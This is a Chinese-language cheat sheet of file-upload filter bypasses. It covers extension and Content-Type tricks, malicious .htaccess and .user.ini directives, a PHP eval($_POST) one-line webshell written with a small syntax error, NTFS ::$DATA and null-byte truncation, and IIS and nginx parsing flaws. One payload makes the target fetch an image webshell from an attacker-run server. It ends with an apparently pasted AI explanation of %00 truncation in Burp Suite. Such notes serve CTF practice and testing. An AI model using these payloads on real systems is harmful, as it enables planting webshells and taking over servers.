文件上传正常绕过

一、可能对于请求头部的content-type、文件后缀,请求数据的content-type有过滤

1.把请求头部的content-type随便改一个大写字母来绕过,例如content-type: mulTipArt/form-data

2.改后缀为xx.php4,php5,phtml,phtm,phps,php3,pht等等

3.请求数据里的content-type改为image/jpeg

二、大小写绕过,双写绕过

① PHP 的 str_replace 替换规则:对于后缀名从 1递增往后检查。

例①:phpphp,先检测到 php,删去,剩下 php,也删去。

例②:对于 pphphp,先从第一个字符开始,往后匹配,到了不满足要删的规则(即为 php),于是从第二个字符开始往后匹配,删去了 php,再往后从 h 开始匹配,为 hp,不满足于是后缀 php 成功绕过。

三、.htaccess(apache支持,Nginx不支持)绕过

.htaccess 是 Apache HTTP Server 的 分布式配置文件 ,放在网站目录下,可以对 当前目录及其子目录 覆盖 Apache 主配置(httpd.conf)的规则,无需重启服务器即生效

【1】""表示把任意文件都当作php文件来处理,如果为<FilesMatch "sb.jpg">,则只会把sb.jpg当作php执行

<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

【2】上面的不行,可以尝试下面的(会解析jpg/png/gif文件为php)

AddType application/x-httpd-php .jpg .png .gif

【3】auto_prepend_file包含

效果:该目录下任何 PHP 文件执行前都会先包含 shell.jpg

php_value auto_prepend_file "sb.jpg"

判断 Apache 是否启用了 .htaccess 文件:

查看 Apache 主配置文件(通常为 httpd.conf),确保 AllowOverride 指令不为 None

例:

<Directory>
AllowOverride All
</Directory>

四、.user.ini绕过(php>=5.3.0),且服务器要开启FastCGI模式,.user.ini文件更改默认30秒后生效

.user.ini内容如下:

GIF89a
auto_prepend_file=1.png

然后在1.png写入一句话木马

<script language=php>eval=($_POST['doll']);</script>

注意:蚁剑后面的文件是index.php并不是a.png

因为.user.ini是将1.png放到index.php文件的顶部进行执行,所以要访问的是index.php

五、windows

1.基于windows下的ntgs文件流特性 ::$DATA

webshell.php::$DATA

2.因为windows命名不允许出现空格和点号,有就会全部删去

webshell.php. 

六、webshell.php%00 webshell.php%00.jpg

webshell.php0x00

webshell.php\00.jpg

七、asp.asp;.jpg(IIS)

IIS 6 下当文件名为 abc.asp;xx.jpg 时,会将其解析为 abc.asp

八、多扩展名绕过

8.1 shell.jpg.php(有些防火墙只检查第一个)

8.2 shell.php.jpg(第二个)

Apache 对后缀解析是从右向左的

phpshell.php.rar.rar.rar.rar 因为 Apache 不认识 .rar 这个文件类型,所以会一直遍历后缀到 .php,然后认为这是一个 PHP 文件。

九、IIS 6.0: 目录解析漏洞

例如 /xx.asp/shell.jpg。服务器会把 shell.jpg 当作 ASP 脚本执行

还有:

source[]=http://xxx.xxx.xxx.xxx/security.jpg?.aspx。source[]=http://xxx.xxx.xxx.xxx/security.jpg?.a?s?p?x绕过WAF,让目标抓取我们http服务器上的图片马并解析,IIS会把其当作security.aspx来解析

十、文件名穿越

见文件名穿越.md

十一、nginx配置不当

当我们上传了一个木马文件 web.jpg(若 web.php 不能上传),若想执行,可访问 http://192.168.1.8/pikachu/web.jpg/aaa.php,nginx可能会把web.jpg当作PHP来执行

服务端
├─ 检查后缀
│ ├─ 黑名单
│ │ ├─ 1、上传特殊可解析后缀
│ │ │ ├─ 1.上传.htaccess
│ │ │ ├─ 2.上传大小写绕写
│ │ │ ├─ 3.后缀大小写绕写
│ │ │ ├─ 4.点绕过
│ │ │ ├─ 5.空格绕过
│ │ │ ├─ 6.:: $DATA绕过
│ │ │ ├─ 7.配合解析漏洞
│ │ │ └─ 8.双后缀名绕过
│ │ └─ 白名单
│ │ ├─ 1.MIME绕过
│ │ ├─ 2.%00截断
│ │ ├─ 3.0x00截断
│ │ └─ 4.0x0a截断
│ └─ 检查内容
│ ├─ 1.文件头检查
│ ├─ 2.突破getimagesize()
│ ├─ 3.突破exif_imagetype()
│ └─ 4.二次渲染

补充:

一、 %00\x00 的使用场景和位置完全不同

  • %00:用在 HTTP 请求的文本部分,例如文件名(filename)或 URL 参数中。它是一个 URL 编码的表示。
  • \x00:是空字符的 十六进制原始字节,用在 HTTP 请求的二进制数据体中。

下面为你详细拆解这两种情况:

场景一:在文件名中使用 %00

这是最常见的情况。当服务器端代码(特别是旧版本 PHP,如 ≤5.3.4)处理文件名时,会将 %00 解码后的空字符(\x00)视为字符串的结束符,从而忽略其后的所有内容。

操作步骤(通常使用 Burp Suite 等抓包工具):

  1. 准备文件:创建一个恶意的 PHP 文件,例如 shell.php

  2. 抓包修改:在上传时,用 Burp Suite 拦截请求。

  3. 修改文件名

:在请求体的 Content-Disposition 部分,将 filename 的值修改为 shell.php%00.jpg

Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"

  1. 放行请求:发送修改后的请求。

服务器处理逻辑:

  • 后端校验:服务器首先检查文件后缀,看到的是 .jpg,如果白名单允许 jpg 文件,则校验通过。
  • 保存文件:在调用底层函数保存文件时,shell.php%00.jpg 被解码,空字符 \x00 导致字符串被截断,最终文件被保存为 shell.php

场景二:在数据体中使用 \x00

这种情况通常发生在 POST 请求中,并且需要直接修改请求的原始二进制数据(Hex 视图)。因为 POST 请求体中的数据不会像 URL 参数那样自动进行 URL 解码。

操作步骤:

  1. 抓包:同样使用 Burp Suite 拦截上传请求。
  2. 切换到 Hex 视图:在 Burp Suite 中,将请求体从文本视图切换到十六进制(Hex)视图。
  3. 插入 \x00:在文件名的相应位置,直接插入 00 这个字节。例如,将 shell.php.jpg 修改为 shell.php\x00.jpg(在 Hex 编辑器中就是插入 00)。
  4. 放行请求:发送修改后的二进制请求。

为什么 %00 在这里无效?
因为在 POST 请求体中,%00 会被当作普通的百分号、数字0、数字0 三个字符处理,而不会被解码为空字符。

核心区别总结

特性 %00 \x00
本质 URL 编码的空字符 空字符的十六进制原始字节
使用位置 HTTP 请求的文本部分(如 URL 参数、filename 属性) HTTP 请求的二进制数据体(Hex 视图)
工作原理 服务器先进行 URL 解码,%00 变为 \x00,再被底层函数识别为字符串结束符 底层函数直接识别 \x00 为字符串结束符
典型场景 GET 请求路径参数、POST 请求中的 filename POST 请求中需要精确控制二进制数据时

⚠️ 重要前提

%00 截断是一个历史悠久的漏洞,它的利用有严格的前提条件:

  • PHP 版本:通常只在 PHP 5.3.4 及以下版本 中有效。新版本已经修复了此问题,会直接拒绝包含空字符的文件名。
  • 服务器配置php.ini 中的 magic_quotes_gpc 选项需要为 Off

因此,在现代 Web 应用中,这种攻击方式的成功率已经很低,但在 CTF 竞赛或针对老旧系统的测试中仍然可能遇到